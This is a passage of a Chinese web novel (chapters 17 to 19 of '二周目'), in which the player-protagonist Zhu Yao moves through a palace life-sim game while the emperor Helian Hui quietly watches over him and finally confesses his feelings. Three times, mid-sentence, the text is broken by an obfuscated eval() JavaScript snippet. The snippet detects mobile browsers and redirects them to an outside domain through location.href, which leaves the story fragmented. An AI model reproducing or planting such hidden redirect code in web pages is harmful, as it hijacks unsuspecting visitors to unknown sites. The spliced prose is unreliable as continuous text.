这个角色对比起来,简直大好人。 他美滋滋地点开背包,书页果然存在里面,他愉快的点开介绍,随即陷入了停滞。 【书页:天资聪颖,聪慧异常的士子自小读书时,就发现这世道是吃人的,越往上者越发爱吃人,吃的不声不响,吃的高贵体面,不像坠落地底的人吃人时的狰狞、直白,可终归都是在吃人。】 【读书……不过是为了往上爬,爬的更高。使用智力+2】 【提醒:年轻时候的士子觉得这世上笨的、蠢的、娇气的人是活不长的,需要多读点书,读的越多,越发能体会到自己的愚笨。】 祝瑶:“……” 要不要这么毒舌啊! 这是提醒他赶紧用吗?是在骂他笨吗?他偏偏不用,就不用,反正这个破档怎么看怎么加属性也不行啊。 祝瑶戳了戳画面上的竹子,引起竹影微动,“就不惯着你。”。 他回到主页面,点击继续游戏,画面再次变幻,真实的场景换成了二次元萌萌小人,颇有些童趣感。 黑发小人,头戴玉冠,衣服换作黑色,显得肃穆起来。 [自那一次相见后,他仿佛想明白了什么……] [他不在过分拘束你的行为,你开始能够离开这座宫殿,尽管次数不是那么的多,可很明显你不在是个幽禁的人。] [殿内的守卫变多了,也光明正大了些。] [你身边被派遣了不少宫女,很难说这是他的眼线,或者说是对你的保护,如此一周后,他开始让你接受朝内大臣的教导。] [你出阁了。] [这是一个很明显的信号,意味着他开始真正的培养你作为继承人,于外人而言,你真正地踏入权力的中心地带。] 祝瑶:“……” 祝瑶挺无语的,他没想当太子好吧,没想当皇帝好吧,这位置简直靶子中心,等着各类人马搞事…… 嫌自己命太长,才指望这个,他是真的不懂当皇帝的人的想法。 文字停止,画面变化。 【玩家已解锁相应新面板,请积极踊跃探索哦!更有精彩事件、有趣结局翘首以盼,可攻略新人物,隐藏人物也在进一步揭露。】 【为恭喜玩家度过14岁,友情赠送读心术X3次,玩家可对任何角色使用,以此读取角色的心绪。】 【友情提醒:虽说是能对任何角色使用,可如果要用的话还是希望玩家能够用在关键人物身上,这样才能打出有意思的结局。千万千万不要辜负制作组的好意哦!】 这是友情提醒? 他怎么觉得这是致命忠告,似乎在说不好好用死得快!发刀子一刀接一刀,简直死亡预警好不好! 还有……什么叫做度过14岁,这是和谐过的说法吧。 明明是好不容易活过14岁。 祝瑶心有测测,他都怀疑前面那个泼不泼灯油的设定,他不泼接着下去就是体质一直掉、一直掉,然后挂了。 回到界面,屏幕上全然的二次元萌萌人ui风格,貌似真有点开了养成模板,真养成了。 【行程安排】【地图总揽】 祝瑶点了下前者,ui很像一些养成游戏的设置,每一次执行一个月的日常行程,每一日的安排都可以点开,进行精确设计,完全可以让人点的手痛。 好在可以复制前面……感谢游戏。 唯一特殊的地方,有些课程是固定的,比如每日行程安排里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540525|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分为早晨、上午、下午、夜晚四个时段,某些日的一些课程安排是固定的,他不能选择,除此之外比较自由,可以选择【读书】【绘画】【睡觉】……总之,蛮多选择。 一周四日的清晨时段,都被各类课程占据,课程多为四书五经等,教授课程的人员好像就四个,除却清晨的固定时刻,下午也有节固定的课程,多是陶演情操的艺术课,里面有书法、琴技、骑射等。 祝瑶:“……” 他得感谢游戏让他出来了,这个上课表简直回到了高考有没有,大早上的上课上完只想睡觉好不好。 他打开地图,挺童趣的UI,他所在的宫殿蓬莱阁位于正中央偏后,周边貌似还挺大的,殿后还有座山? 祝瑶惊了,山叫九华山,山旁边还有个太灵池。 不知道为什么,莫名有点不好的预感,看起来很黄暴。 “艹” 这个宫殿的布局很不正经好不好,干嘛安排自己住这里。 祝瑶看向地图布局,最中心的就是紫宸殿,紫宸殿下边则是宣政殿,同样居中央,应当是早朝议事所处。 宣政殿右边是文华殿,貌似同臣子有关。 至于紫宸殿……赫连辉的日常起居住所。 而他的蓬莱阁就在紫宸殿右斜上方,靠的特别的近。 完全可以说是走几步就到了。 贴的紧紧的。 祝瑶真不行了,赫连辉是有病吧,把自己拘禁在自己起居殿的后方,这算是拘禁吗? 这简直就是放在眼皮底下,别说逃跑了、估计自己殿内一有什么动作他都能直接走来了。 祝瑶:“……”神如经。 突然想到了什么,祝瑶没有琢磨地图了,反而回到主页面,打开最右上方的人生记事本。 这个是没进游戏前,也有的,会记录一些细节。 祝瑶刚刚点开,就看到一连串的日期,配合着小字。 【元泰五年,四月七日,趁你睡熟了,赫连辉偷偷来看了你。】 【元泰五年,四月六日,趁你睡熟了,赫连辉偷偷来看了你。】 【元泰五年,四月五日,趁你睡熟了,赫连辉偷偷来看了你。】 【元泰五年,四月四日,趁你睡熟了,赫连辉偷偷来看了你。】 …… 一连串的往上翻阅,全被这重复的文字刷屏了。 压根拉不到上头,别的信息都看不见什么了。 “偷偷”来看看你。 趁你睡熟了,偷偷来看你。 祝瑶:“……” 每天都来了,每天都偷窥,好歹是个皇帝啊! 至于吗? 祝瑶绝望了,这到底闹哪样啊!他就知道就知道。 隔的这么近,他怎么可能不过来。 不知道翻了多久,手都翻得累了,他终于翻到了最上头,最开始的起点。 【元泰一年,十一月十四日,趁你睡熟了,赫连辉偷偷来看了你。】 祝瑶喷了。 他的手一个劲颤抖,纯属上划划麻了。 还“偷偷”,“偷偷”看了三年多,整一个偷窥狂。 有病是不是啊! 17. 二周目 祝瑶懒得计较,重新打开地图,移动到各个宫殿,看泛起的小字介绍,主要的几个都和他的猜测差不多,左方中央偏后是【慈宁殿】:太后住所,左上方最后【福恩殿】,则没有小字,像个静穆的居所。 祝瑶知晓,那是游戏档里母亲住的地方。 大部分的地图都在封锁中,【慈宁殿】【福恩殿】不必提,灰色黯淡,【宣政殿】和【文华殿】同样灰色。 也就他自己的蓬莱阁和紫宸殿能去。 祝瑶:“……” 还有,去紫宸殿做什么?他在那里住了一个月,就觉得有些吵闹,时不时会有些大臣在前殿仪事,压根不适合住。 他连自己蓬莱阁后面的花园都去不了啊,放完整地图做什么,光看吗? 不管了,祝瑶打开日程安排,随便安排了一月的行程。 显然,这不是市面上见过的数值养成,反而偏向rpg攻略,至少他的档里角色面板里依旧是四个基本数值。 【容貌:4点】 【惊讶!你长得不够好看,居然得到了帝王的眷顾,导致宫里宫外隐隐小道消息传闻:帝王喜好变了,居然不再爱美人了。】 【要知道这可是个封地里立志要画尽天下美人的风流王爷啊!】 【恭喜你,成功领悟到了攻略游戏的精髓,那就是PUA角色!】 祝瑶:“……” 他哪里PUA了,他明明是被游戏PUA,好不好,总感觉发生什么都快要能接受了……应该多怜爱玩家好不好。 【智力:5点 】 【好消息,你变聪明了,只是真的不在加点吗?】 道具不易,那是+2点的事吗?那是小金库、道具库减少的痛苦! 【悟性:13点 】 【可以收拾包裹,出家了。】 放心,他打死也不出家。 【体质:4点 】 【小心点,真的很担心你挂了。】 祝瑶叹气,莫名觉得……挂了也挺好的,他就觉得按照游戏的进展下去,他感觉很不妙啊。 整个五月的行程,祝瑶都选择在早晨后【睡觉】,一大早上课两个时辰,上完不睡觉想猝死啊。 他的体质点就4点了。 至于下午的课程,没有固定的课,他就安排了一些轻松的活动,好比:踢毽子……不是,为什么会有踢毽子? 骑射他暂时是别想了。 祝瑶是看了的,小字提醒:体质点6点及以上,如强行安排也许会发生一些意外事件。 [你上了第一天的课,努力完成了课程。] [你上了第二天的课,努力完成了课程。] [你上了第三天的课,努力完成了课程。] [第四天,你逃课了……你从殿后的窗户爬走了,你跑到宫殿的后山,在一棵树下睡了一上午。] 祝瑶:“???” 什么嘛!才上了三天,他就逃课了? [你的贴身宫女找不到你,整个殿里的人都找不到你,他们急的差点没把殿内翻了个遍,好在最后找到了你。] [她们发现了你,可不敢惊醒你。] [最后,帝王来了,蹲下来,把你戳醒了。] 小屏幕上方的大屏,忽得转换了个场景,细碎的阳光下,着玄衣的少年,懒散地躺在树下,享受着暖意。 帝王弯腰,静静注目。 他就这般随性地坐在地上,右手掌撑在青草夹杂的泥泞间,侧脸看不出太多的神情,只觉得有些浅淡的暖意。 忽得,他伸出左手,戳了戳那睡着少年的脸颊,一次没戳醒,停了下来,过了段时间,再接着戳了几次。 直到那少年睁眼,吃惊地起身,往后退了退。 帝王轻笑了声。 少年无力地往后倒下,似是完全不想回应。 [恭喜玩家解锁地点:九华山,每月月底可单独前往,也许会触发一些意外事件。] 好耶! 终于有新的地点了?不过,他怎么觉得这个解锁纯粹是自己乱跑、跑着得到了允许……还有凭什么戳自己啊。 祝瑶悲愤地看着大屏幕上的动态剪影,他很认真数了下,赫连辉这小鬼整整戳了6次,是6次啊! 玩上瘾了是吧。 祝瑶戳了戳影像里的人,真是幼稚的不行。 [你上了第一天的课,努力完成了课程。] [你上了第二天的课,努力完成了课程。] [你上了第三天的课,努力完成了课程。] [第四天,你又逃课了,这一次貌似没有人抓住你,你这回躲到了树上,天知道,你是怎么爬上去的。] 祝瑶:“……” 他承认这个技能他确实掌握的挺好的,他会爬树摘柿子。 [你又糊涂的混了一天。] [好在依旧无事发生,唯一意外的是你的头上被蛰了两个大包,你发誓你不会在去爬树了,九华山的蚊子有点毒。] “艹” 祝瑶看着主界面里二次元宫殿里,萌哒哒小人坐在地上,身旁宫女拿着个药膏,守在旁边,似在上药。 爬树有风险啊。 他别作死了,万一掉下来不就挂了。 [你上了第一天的课,努力完成了课程。] [这天上完,你的老师把你叫住了,他深深地看了你好几眼,最后留下一句:顽劣不堪!] 【请问你要怎么回应呢?】 【跑走】 【拿出一块偷偷带来的糕点,问:要吃吗?】 祝瑶看着画面上出现的宫殿显示【文华殿】,萌萌黑衣小人站着,对面是个穿红衣白胡子老爷爷。 “……年纪不小,还穿的这么艳!” “还骂人!” 祝瑶嘀咕了句,直接选择问要吃糕点吗?果然,刚刚选完,那白胡子老爷爷直接倒地了……我去,他不会死了吧。 祝瑶:“……” [你真的觉得很饿,拿出了偷偷藏起来的糕点,问你的老师要吃吗?你觉得他也挺可怜的,这么一大把年龄还给你上课。] [这简直虐待老人嘛!赫连辉可真不是个好东西!] [你的老师内阁大学士杨济才被气晕了,好在你及时把他抢救回来了,你觉得你真是个好人啊!反叛+1] 不对啊。 这个杨济才不是出现过吗?他记得貌似就是那个……对了,是那个说赫连辉“如蛰伏猛虎,蓄势待发。”的杨学士,他居然还活着,还升职了? 不过,祝瑶算了下年龄,感觉都快70了,这这还真算是长寿啊。 他觉得这人还是好好回家养老吧,总觉得赫连辉把人留着……有点故意,不会还在记恨当初被人夸了后,好一阵子不安生,被迫开展宫斗副本。 “……” [你的老师杨济才决定不教你了,向帝王祈乞骸骨、告老还乡,并当众表明,你实在过分顽劣,不堪造就。] “艹。” “至于吗?” “临走前还要败坏我名声,可真不是个好东西!” 祝瑶吐槽了句,他看着背景里,宫女的萌萌小人似在告知你这件事情,不免显得有些焦虑,黑衣小人则平静如初。 [帝王同意了他的请求,给你换了个新老师。] [你挺满意的。] [你上了第二天的课,努力完成了课程。] [你上了第三天的课,努力完成了课程。] [你上了第四天的课,努力完成了课程。] [你居然没逃课,这可是令人吃惊啊,连帝王都很惊讶呢,他甚至专门来看了眼你上课的情形。] 祝瑶:“……”有什么好看的。 祝瑶看着【文华殿】里昏昏欲睡、勉强打起精神的黑衣小人,以及授课的红衣小人,有体态偏胖的,也有瘦的,似是轮流交换着,只把黑衣小人从最初的挺直身板熬到了最后的两眼睁着、无神的模样。 行吧,不让他进游戏就很满足了。 不过,这游戏是不是有点颜控啊,连小人也有颜值区分,比如四个不同的小人里就有个比较年轻的、清瘦的、好看的。 他就是那么的显眼,简直和个显眼包一样。 [你上了第一天的课,努力完成了课程。] [你上了第二天的课,努力完成了课程。] [你上了第三天的课,努力完成了课程。] [第四天,你又想逃课了,很遗憾,这一次你被抓住了,因为你的老师在你的后殿跳窗的地方等着你。] 祝瑶:“……” 等等。 忽得眼前一片昏暗,唯独有片红色灼人,祝瑶抬眼望去,那人立在窗檐处,精致雕花掩盖不住那身灼灼的红色官服,那是张平静的面孔,眼角微微有几分细纹,修长双手似是负在身后,浑身清冷气质,细细探究他的神情难以捉摸。 不像赫连辉那般的直白,愤怒、焦急等都让他看的分明。 那衣角处向下蜿蜒而来,掠过窗檐,只往殿内而来的暗红、略带灰色的线就这般紧紧缠绕着自己指尖。 祝瑶低头看时,忽得想起第一次见到这人的场景,恍然间这便是16年吧,没人停留在过去,除了自己。 似是停顿了太久。 祝瑶才听到那稳重、平静的声音,就那样落在自己耳尖。 “殿下。” “你该去上课了。” 总觉得怪熟悉的,祝瑶来不及思索,怔神间再次回到了游戏大厅,大屏上依旧停留在那副静谧的画面。 惊愕的少年,平静的老师。 那红衣官服的男人,神色依旧平静,看不出情绪,偏偏那双丹凤眼就这般看来,硬生生看出几分惊心动魄。 一时间,都发觉不了,他发间似是沾了几分露水,显然是候了不少时候。 那样昏沉沉的地处,天边的曦光刚刚亮起,刚刚探出春意的枝条,叶片上犹然低着露水,正坠在男人发间。 少许几滴顺下来,落到了衣襟间。 少年目光微迷茫,有些怔神望着这一切,仿佛这场会面等了太久。 他低下了头。 那红衣男人目光难辨,只偏了偏头,隔了会儿才出声道,“殿下,你该去上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540526|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课了。” 【恭喜玩家解锁攻略人物“夏启言”,解锁度15%,攻略度5%】 【恭喜玩家解锁隐藏cg:枯木逢春 】 祝瑶只看了眼新的提醒,依旧有些沉浸在那声音里,清淡、悠远、又似乎有种沉稳、是落在了俗世的沉浮中。 这个角色的声音真的很好听。 简直顶级声优。 祝瑶点开角色面板,看卡面提示的三个可查看数据:解锁度,攻略度,亲密度……等等,什么叫做亲密度啊! 他服了。 他看了看点亮的两个角色卡,好像亲密度都是0。 不过,对比赫连辉:解锁度50%,攻略度40%,感觉这位的也挺古怪的,貌似一直都在自动走剧情。 也就给他劝学,就自动涨好感? 【恭喜玩家完成5月行程,解锁新地点:文华殿】 【备注:文华殿是历来太子参与政事、进行经筵场所。不过,貌似玩家并不太喜欢哦,前往此地可与老师们探讨经学。】 祝瑶:“……” 他去探讨个鬼啊。 【每月行程结束,您可选择前往地图中的地点,有可能触发一些意外事件。】 【后续地点有待进一步解锁。】 点开大地图,祝瑶很干脆的选择了去了【九华山】,也就三个能去的地方,他就想找个安静的地方躺尸。 [你选择去了九华山,度过了愉快的一天。] [无事发生。] 行,无事发生很好。 祝瑶接着按照自己的想法,把自己的5月行程复制到6月,开始行程,似乎第一局的多事件只是个意外。 一周四日的固定课程。 每月四周的固定行程。 稳定的显示:你上了第一天的课,努力完成了课程~你上了第四天的课,努力完成了课程。 过完一整个6月,游戏界面才提醒了句。 [你当然没忘了逃课,奈何你这次遇到了个很聪明的老师,无论你藏在哪里,他貌似都能找到你。] [于是,你只能老老实实上课。] "……这监察官吧,居然这么会找?" 祝瑶颇有些无力,他自认为自己挺会藏的,小时候同小伙伴玩捉迷藏一般都是赢得那个。 他看着二次元小界面上黑衣小人规矩地坐着,听着几个红衣小人的授课,满副生无可恋感。 “……” 他不骂游戏了,写实,太写实了,简直被逼学习的写照。 这游戏角色面板,就很稳定的四个点,外貌,智力,悟性,体质,没什么其他的数值养成。 就连……出现过的反叛值,他都找不到地方看。 就算有私底下的数据,游戏也没给人看过,完全看不到数值的成长,玩起来压根没有升级的快感。 虽然能安排的活动多,可是看不到数值成长。 他认真安排,细心规划……也没什么意思啊。 这般思索,祝瑶依旧在月末选择了【九华山】,触发文字依旧是: [你选择去了九华山,度过了愉快的一天。] [无事发生。] 行。 挺好,他选择接着重复,他就不信总不会一次意外事件都没有吧。 祝瑶飞速的依旧按照前面的安排,直接复制上月,开始新的一月行程,一直重复着选择月末去【九华山】。 不要问为何复制上月行程。 能复制,为什么要重新选择,这个破行程是一月可以把每天空闲时间段都安排不一样的,简直能让人选的麻掉。 他当然选择方便的、快的。 然后,什么都没发生! 惊喜吗? 震惊吗? 祝瑶现在看到“无事发生”,都有些无语了。 他看了眼日历,元泰五年,十二月,整整七个月都无事发生呢……这可真是游戏给的大惊喜! 他依旧复制了上月,接着开始12月行程。 在结束了前三周的日常,终于在最后一周来了点不一样的。 [虽说小磕小碰,可幸运的是你成功度过了新的一年,并且一切都在向好发展。] [你的老师们,虽说未曾夸赞你过,可也算是没什么苛责。] “……” “没被骂算是幸运吗?” 祝瑶喷了,他算是服了游戏的冷幽默。 [这年的将近年底,宫里点起了灯,各类灯火高高挂起,很是璀璨夺目。] [你收到了一盏宫灯。] [这盏宫灯过分华丽,用着金箔和色彩艳丽的颜料绘制,灯面展现了一幅幅精妙的画,题材依旧是关于神仙故事,十分的精美,以至于你身边的宫侍都忍不住看,私底下赞叹。] [不过,显然送灯的人不想表明身份,只是送来了。] [你于难得休憩的日光中,望见了这盏美丽的灯。] 祝瑶:“……” 别以为他不知道是谁送的……宫里会送他灯的人还会有谁。 谁啊? 压根不用猜。 18. 二周目 【玩家收获宫灯x1,已存入背包】 【备注:宫灯暗含着制灯人真心的寄寓,花费了不少时间制作,是件很难得的艺术品,也许经历时间的流逝,它或许能够成为一件美丽的文物。使用体质?2,实乃救命良药。】 “……” 真救命啊,不错,很好的道具。 祝瑶看着游戏界面的灯,貌似还可以转换视角,将灯旋转,的确依旧画的是一些神仙故事。 比他之前看过的那个仙人摘桃,凡人靠桃枝爬上天的故事相比,偏向于讲了个类似烂柯人的故事。 画里有个幼童,他少时进山时,遇到了个好说话的仙人。 两人相知相伴,交往甚密。直到仙人有事离开,要回天上,偏偏养了一株花,没法带走,便让幼童帮他养着花,说是一日后来取。 可幼童接了花,回了家,足足不知过了多少年,那花花开花落,繁育生长,都长成一片花园,幼童亦是长成少年,也未曾见过仙人踪影。 终于,有天仙人来了,来取他的花。 少年问:“你怎么来的如此晚?” 仙人答:“不是一日吗?我按约来取。” 少年才恍然意识到,仙人的时间同他是不一样的。 天上一日,地下十年。 幼童长成少年,仙人依旧那副摸样,未曾有变。 两人再次约定了下次,下次,下下次的见面。 少年变作青年,青年变作中年,中年变作老年……每一副画都是彼此见面的见证。 每一次的见面,都是极致的时间对比,极度的残酷和直接。 幼童已至垂暮之年,仙人依旧一如当初。 最后,曾经的幼童垂老矣矣,便躺在仙人怀里,缓缓闭上了眼。 [宫人说,这个画中故事未免太悲了些,很是感慨。] [你的宫女冬枣甚至偷偷掉了几滴泪。] “……” 不要乱编故事,成天骗小女孩眼泪啊。 祝瑶戳了戳这屏幕上的灯,好看是真好看,就是…… 赫连辉是故意的吧,是在提醒他没应约,可他们也没有定下约定好不好,明明就是他自己在各种疯。 他一直说的都是……鬼终有一天是会消失的。 祝瑶打开背包,小小的格子里果然多了个灯,除此外三枚丹药加上一片书页,这可都是他艰辛打游戏存下的资本。 他才不会随便就用掉。 [这一年的年末,于宫中举办的盛会上,你终于第一次见到了你的母亲。] [有多少年了,你不愿细想,太久了些。] [她看起来还算不错,朴素大方,依旧很漂亮。] [说实话你真的不太像她的孩子,她长得着实美丽,在百花争艳的宫中,也是突出的漂亮。她这般瞩目标志的人物,竟有你这般普通的孩子,实在是让朝中内外都叹息一句,缘何如此。] “啊啊啊!” 祝瑶觉得这个游戏世界……不,真实世界实在是太真实了,长得好看就是受众瞩目,长得普通就各种被嘀咕吗? 这个看脸的世界,他真的服了。 他发誓下次他一定开个外貌超高的档试试! [你的母亲静静立在众人身后,如静立的菩萨,似乎不受半点俗世干扰,她就这样翩然而立,依旧吸引了不少注目。] [你看到了许多陌生的面孔,多是受诏而来的大臣。] [除此之外,你见到了那位太后,怪哉,她竟是变了副面孔,颇有些古井无波感。] 童趣的界面上,各类的小人跪坐于地,享受这场难得的宴会,场面最中是翩翩起舞的舞女,伴随着典雅的音乐。 【这场宴会结束后,你驻足在殿外角落里,静静看着准备离去的母亲,这时,你会如何做呢?】 【走上前去/静默注视】 祝瑶想了下,选择了【静默注视】,这是一场真实的游戏,他并不想欺骗自己的内心。 对于这个档的母亲来说,“他”意味着什么? 是累赘,亦或是唯一的……永远不可割舍的一部分,当然也许有可能什么都不是,他并不太明白。 [你就这般静静看着她的离去。] [也许,你知道她过的不错,至少看起来比从前在冷宫中生存时的日子,好许多,那就够了。] [你并不想将她卷入太多,随着你长大,你身上的麻烦事肉眼可见的会一次次变多。当你站在权力的中央附近,你就注定受它影响,即便你并没有什么想要的,可围绕在你身边的注定不会是轻松的、平静的。] [在这一年的年末,你就在看着漫天灯火中过去。] “所以,就这样?” 祝瑶看着结束后的界面,好一副长卷,夜里的各个殿内的宫灯都点亮了,一连串地点缀过去,如恒星般璀璨。 他忍不住截了个图。 赫连辉居然没出现……这可真是令人捉摸不透了。 他出现时,挺想骂的;可不出现,怪想他的。 “……” 祝瑶承认自己被PUA了,这简直斯德哥尔摩综合症犯了,他有病啊啊,不行,打住。 【玩家已完成12月行程,恭喜玩家度过了圆满的一年。】 【希望玩家在新的一年,再接再厉!】 “……” “不是,你们新年礼包呢?什么也不送,就口头祝福?这也太抠了吧。” 祝瑶真忍不住了。 亏他还以为会送个小道具什么的。 【咳咳,本游戏无任何氪金,全过程免费,兼具养成、攻略、rpg……游戏养成方式也多种多样,结局更是丰富多彩。】 【玩家可尽情探索,享受游戏的过程。】 这是在说自己良心吗? 问题,这可是动不动靠玩家真身闯荡的游戏啊!游戏有风险!大大的风险! 祝瑶:“……” 【恭喜玩家解锁“悄悄话”功能,您的宫女冬枣的确有些“悄悄话”想同你说,你可与她进行交流。】 【您查看了“悄悄话”。】 [这天夜里,在所有人离去后,你的宫女冬枣终是忍不住小声偷偷问您:下个月能不能每天换点做的事……] “???” 祝瑶惊了,怎么了,然后就看到一行行似是不安地文字,界面上粉衣小人凑在黑衣小人旁,微倾身诉说着什么。 [近来宫里有您的传闻许久了,她们都私底下说:殿下您实在是太古怪了,居然能常年如一日做着完全一样的事情,简直……就像是个妖怪。奴婢晓得这是殿下的习惯,自是不必理会,可毕竟人言可畏……] [殿下,你要是能换些娱乐活动,那就再好不过了。] “……” “咳咳,不会是复制行程导致的吧quq” 祝瑶挠挠头,打开【人生记事本】,看了看,这次倒是没什么那长达三年多的“偷偷来看你”,多是一些宫婢日常记录。 【元泰五年,十二月七日,你回宫时遇到了几个宫婢,有个年幼的直接被吓得晕倒。】 【元泰五年,十一月十九日,你听到有几个宫女正小声谈论什么,你还未曾走近,你的宫女冬枣走了过去,罚她们跪地一个时辰。】 【元泰五年,十月二十三日,你如往常的结束下午安排好的活动,却见陪着你的几个内侍有些僵硬、慌乱。】 “……” 祝瑶粗略翻了翻,貌似这种的还真的不少,好像……还真的是怕他呢。 其实,他真只是个图省事的普通玩家。 算了,晚些时候他还是先复制,然后稍微换几个,不要做的太过分了,完美! 不对,等等这是什么? 祝瑶看了眼文本,只见若干无意义文字中夹杂了句: [元泰五年,十月十二日,赫连辉突然于夜里出现,坐在你睡榻前,细细看了许久,忽得将你露出的脚踝握住,接着看了许久。] “……” 祝瑶不敢看了,他到底想干啥……好在,下一行字拯救了他破碎的心。 [他将你的脚脚塞回了被窝。] “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540527|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 别吓人,好不好。 祝瑶赶紧关了【人生记事本】,他觉得他不需要细节,他只需要赶紧走日程。 于是,他接着去了【九华山】,度过了愉快的一天,紧接着安排好了新的一年的1月行程,呵呵呵。 第一个月他决定还是维持现状。 不然,被npc觉得是妖怪,就装正常未免……也太不爽了,她们别想他就这样轻易改变。 桀桀桀桀桀! 再无事发生的新的1月上课行程结束后,游戏界面倒是吐露了新的文字。 [你近来着实奇怪,总会不自觉的笑,笑的莫名其妙。] [殿外宫人越发觉得你是疯了。] 祝瑶:“……”谁疯了,他好的很,好不好。 [你着实过了愉快的一月,心情好的不成样子,远远比从前见过的还要愉快,以至于吓到了身边的宫人。] “……” 自己总不会是因为宫人觉得自己是妖怪,觉得特别有意思吧。 祝瑶莫名浮现这想法。 总觉得,是自己能做出来的事情…… [就连皇帝也听闻了此事,于白日里过来看你,你果然一副很愉快的样子。] [他便笑了。] “笑什么笑。” “不管你的事情好不好!” 祝瑶双手撑头,看着屏幕上的场景,细碎阳光下,玄色衣衫的帝王,略显桀骜的面容,也透着几分欢快。 少年则坐在树头。 帝王抬头看他。 周边的宫侍则凑着成堆,也颇有些浅淡笑意,少了些肃穆。 “喂。” “笑什么笑啊!” 忽得,眼前一片光闪过,祝瑶眨了下眼,只望见了那人目光灼灼,正往这边看来。 他有着掩盖不住的高大身躯,不是少年时的瘦削,相反健壮地像猛虎,对比之下宫人都很是矮小。 那张凌厉俊美的脸庞,平日的威严尽散,只言笑晏晏,莫名有几分风流姿态。 总觉得是在对人发电! 祝瑶有些悲愤,对他发什么……果然是个风流王爷底子嘛!他还来不及开骂,一个动作不轻易,整个人直接滑了下来。 “……” 这叫什么?叫八百年不运动,树都不会爬了吗? 可他并没有坠地,反倒是跌入了个怀抱。 心口微跳。 祝瑶忽得意识到什么,只缓缓闭上了双眼,宽厚的手臂支撑着他,手掌紧紧的搂住了他的腰际,伴随着一声轻笑。 “就算是妖怪,也会从树上掉下来吗?” “……” 这绝对是调侃对吧。 他都被宫人公认为是妖怪了,就差没当面喊了。 这个怀抱并未停下,反而抱得越发的深,隔着轻薄衣衫也能感受的热度,触感,像是要将他彻底揽入,无法脱离。 祝瑶终是忍不住问了句,“你还要抱到什么时候?” 他没睁开眼。 忽得,额间浅浅的落下了什么……祝瑶来不及反应,来不及阻止,他压根没想过、只睁开眼呆呆望着他。 此刻,他已然不敢想象周边人的目光。 显然这一刻,仿佛都陷入了停滞,无论是他的沉默,还是不必看向他人,也必知其眼中的惊恐。 这一切都太荒唐了。 “你知道。” “你一直知道的,我没法忍耐的。” 赫连辉神情有些烦躁,可依旧专注地望着他,像是找到了失而复得的珍宝,生怕他再次消失一样。 祝瑶怔住,只恍惚想了许多。 这种身份……怎么看,也是冒天下之大不韪。 赫连辉最终跪坐了下来,依旧环着人,只轻轻拂过碎发,很是小心翼翼,他终于还是没控制住,如同那年月夜下的那个吻。 世间既有仙人,怎得让他遇见? 既然遇见,又何必捉弄他,让他做自己的兄弟。 他有些淡淡的无奈,惆怅,只说,“阿瑶,我等你很久了。” 19. 二周目 【王者的抉择】 <他等的太久,久到当等到时,都不敢相信,总觉得是场幻梦……会不会他就会消失在他眼底,随时都可能离去。> <他只能一次次地试探、一次次去确认……他来了。> <他想过放手……> <不去见他,不要看他,可完全控制不住……该怎么办才好,为何偏偏上天总要如此愚弄他。> <他想了许久,最终暗暗下了一个决定。> <别想离开。> <他不允许。> 游戏界面上,玄衣帝王将少年揽在怀里,紧扣着腰际,那是个很执拗地姿势,不容他人打断、出声。 他似是抓住了自己的所有物。 角落里的宫人都纷纷低下头,全当没看见,可每个人脸上都浮现着一种难以想象的惊恐和畏惧。 祝瑶没关注画面,只呆呆地看着【王者的抉择】标题下吐露的文字,最后留下一句,“变态了,兄弟。” 什么嘛! 一直在演戏?很早就知道是他,所以一直试探他?话说,他到底什么时候知道的……还有,他怎么就有这么准的直觉。 小时候不怕鬼。 长大后更变态。 什么叫做“别想离开”,他不是明明被游戏逼着一直做他的任务!凭良心说说,他哪点对不起人了! 【恭喜玩家完成1月行程,解锁新地点:太灵池、福恩殿,可在月末前往,也许会触发一些小事件。】 【备注:太灵池是先帝在时,颇爱的地处,水榭楼台,绵延数里,其间春有杨柳依依,夏有莲叶田田,秋有桂子飘香……四时之景,涵盖其中。玩家可大胆前往游玩,此处很适合赏景、休憩。】 【备注:福恩殿是个素净的宫殿,人烟稀少,这里靠近宫门,很是静谧。】 祝瑶:“……” 他算是有些明白了,这些地点的解锁应当取决于“赫连辉”的想法。 这个太灵池很不对劲。 皇帝的宫苑吗? 祝瑶看着新蹦出的文字,陷入了凝滞。 【小提醒:太灵池是真的很美哦,先帝常带他的妃子前来赏玩,在这里留下过许多愉快的体验。】 【来这里真不亏哦。】 这真的很像是诈骗呢? 祝瑶无语了,他想到背包里的“百花丹”,还有那句“极易打出宠妃结局”,选择将这个地点直接pass了。 还有九华山他也决定少去,省的再来突发事件。 他去【文华殿】和老师们探讨经学,行了吧,他会好好学习的! 【每日提醒:请玩家不要忘记给竹竹浇水哦。】 “……” 看来无论什么游戏都有日常任务做。 